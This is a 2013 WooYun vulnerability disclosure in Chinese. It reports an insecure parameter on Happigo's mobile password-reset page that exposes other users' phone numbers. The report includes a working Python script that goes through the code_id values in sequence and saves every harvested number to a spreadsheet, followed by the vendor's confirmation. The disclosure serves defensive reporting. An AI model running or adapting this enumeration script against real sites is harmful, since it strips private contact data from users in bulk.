当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027593

漏洞标题:快乐购大量用户敏感信息泄露,可批量获取用户手机号

相关厂商:快乐购物股份有限公司

漏洞作者: xfkxfk

提交时间:2013-07-03 15:07

修复时间:2013-08-17 15:08

公开时间:2013-08-17 15:08

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-03: 细节已通知厂商并且等待厂商处理中
2013-07-03: 厂商已经确认,细节仅向厂商公开
2013-07-13: 细节向核心白帽子及相关领域专家公开
2013-07-23: 细节向普通白帽子公开
2013-08-02: 细节向实习白帽子公开
2013-08-17: 细节向公众公开

简要描述:

快乐购大量用户敏感信息泄露,可批量获取

详细说明:

一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露

url:m.happigo.com/user/login.php


第一步进入登陆页面,点击忘记密码:

12.png


第二步输入用户名,手机号码,用于发送验证码

13.png


第三步要输入验证码,这里我们就不管了,现在看看url地址:

http://m.happigo.com/user/checkcode.php?code_id=16059


这个code_id就是存在问题,这里我是第16060位重置自己密码的用户,这里把用户的手机号码显示出来了,那么我们试试更改一下这个code_id,看能不能看到其他用户的手机号码。我们把code_id改为16059,如下图,果然可以看到其他用户的手机号码,上一个脚本爬出所有重置过密码的用户的手机号码,大量信息啊!!!

14.png


下面给出脚本批量获取到的用户信息。
============================================================================

#-*- coding:utf-8-*-
import urllib2
from tempfile import TemporaryFile
from xlwt import Workbook
import re
vulinfo_list = []
code_id_list = []
def req_url(code_id):
url = "http://m.happigo.com/user/checkcode.php?code_id=%d" % code_id
req = urllib2.Request(url)
req.add_header( "Connection","keep-alive" )
res = urllib2.urlopen( req )
html = res.read()
return html,code_id
def match_info(html,code_id):
if re.search(r'\d{11}',html):
phonenumber = re.search(r'\d{11}',html).group()
print "[%s]手机号码:" % code_id,phonenumber
vulinfo_list.append(int(phonenumber))
code_id_list.append(int(code_id))

def thread_run(sheet1):
for code_id in range(16060):
html,code_id = req_url(code_id)
match_info(html,code_id)

if len(code_id_list) == len(vulinfo_list):
for i in range(len(vulinfo_list)):
#for j in range(0,2):
sheet1.write(i,0,code_id_list[i])
sheet1.write(i,1,vulinfo_list[i])
def run():
book = Workbook()
sheet1 = book.add_sheet('Sheet 1')
thread_run(sheet1)

book.save('happigo_user_phonenumber.xls')
book.save(TemporaryFile())
if __name__ == "__main__":
run()


============================================================================
结果:

15.png


由于这是很早前的截取的信息,截止目前已经差不多到1w用户手机号码了。
二、声明
没有泄露任何截获到的用户信息,及进行非法操作。

漏洞证明:

见详细说明

修复方案:

1、隐藏并控制好用户敏感信息

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2013-07-03 15:51

厂商回复:

感谢xfkxfk对漏洞的提交,我们将尽快修复!

最新状态:

暂无